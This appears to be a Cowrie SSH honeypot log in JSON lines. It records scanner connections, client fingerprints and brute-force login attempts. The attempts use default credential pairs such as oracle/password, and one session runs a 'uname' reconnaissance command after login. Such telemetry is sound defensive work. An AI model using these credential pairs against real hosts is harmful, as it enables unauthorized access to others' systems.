{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:24.764025Z","src_ip":"152.42.212.128","session":"0c237f439b37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60196,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2f7026972e7","protocol":"ssh","message":"New connection: 83.168.110.85:60196 (159.203.135.109:22) [session: c2f7026972e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:26.331178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:26.335774Z","src_ip":"83.168.110.85","session":"c2f7026972e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:26.461321Z","src_ip":"83.168.110.85","session":"c2f7026972e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:26.826551Z","src_ip":"83.168.110.85","session":"c2f7026972e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:28.009740Z","src_ip":"83.168.110.85","session":"c2f7026972e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53024,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ecd0903ce3","protocol":"ssh","message":"New connection: 83.168.110.85:53024 (159.203.135.109:22) [session: 11ecd0903ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:36.782795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:36.787320Z","src_ip":"83.168.110.85","session":"11ecd0903ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:36.908655Z","src_ip":"83.168.110.85","session":"11ecd0903ce3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:37.272112Z","src_ip":"83.168.110.85","session":"11ecd0903ce3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:37.923226Z","src_ip":"83.168.110.85","session":"11ecd0903ce3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:37.926394Z","src_ip":"83.168.110.85","session":"11ecd0903ce3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:38.050042Z","src_ip":"83.168.110.85","session":"11ecd0903ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:38.055045Z","src_ip":"83.168.110.85","session":"11ecd0903ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.18.141","src_port":35002,"dst_ip":"10.17.0.5","dst_port":22,"session":"13d9278b0d74","protocol":"ssh","message":"New connection: 8.210.18.141:35002 (10.17.0.5:22) [session: 13d9278b0d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:39.895350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:39.899193Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:40.107695Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":57768,"dst_ip":"159.203.135.109","dst_port":22,"session":"c340bbbde375","protocol":"ssh","message":"New connection: 176.65.148.108:57768 (159.203.135.109:22) [session: c340bbbde375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:40.948992Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.033548Z","src_ip":"176.65.148.108","session":"c340bbbde375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":57774,"dst_ip":"159.203.135.109","dst_port":22,"session":"1578888da37f","protocol":"ssh","message":"New connection: 176.65.148.108:57774 (159.203.135.109:22) [session: 1578888da37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.112022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.119123Z","src_ip":"176.65.148.108","session":"1578888da37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:ea:2f:c8:8f:98:ba:fe:01:19:f6:0b:79:b1:9f:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCch9Qhi7lr6Uj0X6umxQq9hBRhc7ZmrqU3OJyN1XewHr1Hem3L+RyMvagS1wGkLNDfclSsuneDynFDkUNed3DhuvxujzfSzHlkC5yIcsJGOOdwuel7xqC8qO3AORVBuVCaTjovAiDoYzPhDCpkXf5OybtuWmI6pdeNxMYsbX6DASD8PqntwNGEYDymrujP4LIzzfvIGCbhscQRTEwAy6bDp5Zjbg3d4auImMGOvqo+DckA9wiaJPwSX0dO7X/yed6uQJvf2LvB4AO1fJKdN945dPjb3aB9KTyOvZN9N+fkM8Lo+/sqvFPxz0TYQCKrMyE8XMKbA7sbx+NGnWh9Lqph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:ea:2f:c8:8f:98:ba:fe:01:19:f6:0b:79:b1:9f:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.124734Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:ea:2f:c8:8f:98:ba:fe:01:19:f6:0b:79:b1:9f:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCch9Qhi7lr6Uj0X6umxQq9hBRhc7ZmrqU3OJyN1XewHr1Hem3L+RyMvagS1wGkLNDfclSsuneDynFDkUNed3DhuvxujzfSzHlkC5yIcsJGOOdwuel7xqC8qO3AORVBuVCaTjovAiDoYzPhDCpkXf5OybtuWmI6pdeNxMYsbX6DASD8PqntwNGEYDymrujP4LIzzfvIGCbhscQRTEwAy6bDp5Zjbg3d4auImMGOvqo+DckA9wiaJPwSX0dO7X/yed6uQJvf2LvB4AO1fJKdN945dPjb3aB9KTyOvZN9N+fkM8Lo+/sqvFPxz0TYQCKrMyE8XMKbA7sbx+NGnWh9Lqph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.127520Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.201202Z","src_ip":"176.65.148.108","session":"1578888da37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:c3:83:c9:42:a0:79:13:51:8c:01:83:45:d1:81:4b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINVT1gC2Wfdk60x281vl9qY2i57b7cPWn8L2Crw2/XZS","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 24:c3:83:c9:42:a0:79:13:51:8c:01:83:45:d1:81:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.334794Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:c3:83:c9:42:a0:79:13:51:8c:01:83:45:d1:81:4b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINVT1gC2Wfdk60x281vl9qY2i57b7cPWn8L2Crw2/XZS","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.338920Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"123","message":"login attempt [a/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.453791Z","src_ip":"176.65.148.108","session":"1578888da37f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":57598,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a1076efc6a2","protocol":"ssh","message":"New connection: 103.82.132.16:57598 (159.203.135.109:22) [session: 3a1076efc6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.506444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.512774Z","src_ip":"103.82.132.16","session":"3a1076efc6a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:d9:04:dc:75:52:90:10:ba:9d:de:fa:e2:0f:99:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKL6rCIFKisbS6FBcRPxG8Ogq5+oNg7MprLMbAL20mszV/Q9nQEMWjhU4ApNC4r3dQd/O64/iTsWDJ69janAHDylwIOSEkVp73Dc6DZi8b1Bs9CXmpxQ8RUfYquLc7QVXgG/wIH7RzrF1yn8SnllrZnJoTRfzR2tUdIq5XQ/M/QaPrLb6VJ9yrADcTNWanDL5/5ip+i/wrE0i67mayCVD+M06rSxGittxUnxdcKbVoaP2TMELdWw+YW20KsciWwmmuBGY9amwIrLgQxnahK8nEWMNKO9NcJ5VvuEBIKKCXAGOodKCk49dZw60z+BSuryaB0vyBeM4EfKziqWc5xCkF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:d9:04:dc:75:52:90:10:ba:9d:de:fa:e2:0f:99:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.547223Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:d9:04:dc:75:52:90:10:ba:9d:de:fa:e2:0f:99:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKL6rCIFKisbS6FBcRPxG8Ogq5+oNg7MprLMbAL20mszV/Q9nQEMWjhU4ApNC4r3dQd/O64/iTsWDJ69janAHDylwIOSEkVp73Dc6DZi8b1Bs9CXmpxQ8RUfYquLc7QVXgG/wIH7RzrF1yn8SnllrZnJoTRfzR2tUdIq5XQ/M/QaPrLb6VJ9yrADcTNWanDL5/5ip+i/wrE0i67mayCVD+M06rSxGittxUnxdcKbVoaP2TMELdWw+YW20KsciWwmmuBGY9amwIrLgQxnahK8nEWMNKO9NcJ5VvuEBIKKCXAGOodKCk49dZw60z+BSuryaB0vyBeM4EfKziqWc5xCkF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.550902Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:b3:d0:0d:52:67:c5:d1:a8:41:b9:2d:ba:b1:a3:77","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO0mKJig6wBC608jnnWaOW+v4U4efsU5C7BUZh12D3vtgNDZ0/O1PMdD9g+sGOBammCZ9NSo+HhG4U5kbA8k5l2prQ3Amg0XsNRFzpLGOvOx0QtWow9ea7+5OW9IMyWo0WouFc2yAOFp0vrQVa68cqd3f+rhMe107hv8GvOLrDdnAAAAFQCbAAIyKOZJKqp+6EGth7NhK/rxhwAAAIEAyMvxQTPvgFErRQJEdtdaY0utsSPoAohtgRbCM+ZwffgMmqG43JL1rj/WP2Ug0FcexzcSdTkRDXV29O88l5soq1ipSXh1ulrpUFurL4CXdSb2oLA1kMJwZs7aAA9sjjKux8MKXLQZPTjxEsuN367tvAhOSz+FA8SSHyI6l9BQdewAAACAL8RzDda6YZ/RIJpQoOPMbSoxKFloiFkz4EpCMt4njleOpVAaBsDiZZ3kawlXntk2ljUTIvCPCXeogtMjA2vJ2oxTfBUtqUEWFWEMNHRnDRzpWoK2GnCVBZX9S7tmAtlOwptPG9D53kfsS+C/tGMiUfBj2h50IZQV+LsudDCUW8w=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2e:b3:d0:0d:52:67:c5:d1:a8:41:b9:2d:ba:b1:a3:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.758913Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:b3:d0:0d:52:67:c5:d1:a8:41:b9:2d:ba:b1:a3:77","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAO0mKJig6wBC608jnnWaOW+v4U4efsU5C7BUZh12D3vtgNDZ0/O1PMdD9g+sGOBammCZ9NSo+HhG4U5kbA8k5l2prQ3Amg0XsNRFzpLGOvOx0QtWow9ea7+5OW9IMyWo0WouFc2yAOFp0vrQVa68cqd3f+rhMe107hv8GvOLrDdnAAAAFQCbAAIyKOZJKqp+6EGth7NhK/rxhwAAAIEAyMvxQTPvgFErRQJEdtdaY0utsSPoAohtgRbCM+ZwffgMmqG43JL1rj/WP2Ug0FcexzcSdTkRDXV29O88l5soq1ipSXh1ulrpUFurL4CXdSb2oLA1kMJwZs7aAA9sjjKux8MKXLQZPTjxEsuN367tvAhOSz+FA8SSHyI6l9BQdewAAACAL8RzDda6YZ/RIJpQoOPMbSoxKFloiFkz4EpCMt4njleOpVAaBsDiZZ3kawlXntk2ljUTIvCPCXeogtMjA2vJ2oxTfBUtqUEWFWEMNHRnDRzpWoK2GnCVBZX9S7tmAtlOwptPG9D53kfsS+C/tGMiUfBj2h50IZQV+LsudDCUW8w=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.762831Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.778539Z","src_ip":"103.82.132.16","session":"3a1076efc6a2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:48:d8:7e:9e:1b:3e:ce:c1:ae:b1:fd:a8:cc:c7:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2tJjapsjdIC9TuE4JPxdCNfn6Wa2Wg+T79fOr5RnB+jwz2lXxJoyk+Gz9oBCJB+E1JNWrC7bwnSZEfoGSBc7OxJY8vh8t3kb0gyCeQHeV2L1empblL5eHfL9oWo7R2eAJJ3OjPlw5aDjPqtpLOX+JDTWw1q27l81RQEOWIMlIKoFKpfkwrB96ISYJDSkFUb+bpGVqiN0jT70R/rPpfyxgNkH5Yx9QmcOBE6LCdDH7oDj/bxEj7SdT68C7rCU7xaRXXTDrhPC8PfqMNjF9dGKT5pt0L5+EU029eheydSpvU19qApBQ0iigr/vYuurHn7qYIiIuD/jGYeC6hXBHMH+/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:48:d8:7e:9e:1b:3e:ce:c1:ae:b1:fd:a8:cc:c7:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:49:41.970429Z","src_ip":"8.210.18.141","session":"13d9278b0d74","protocol":"ssh"}
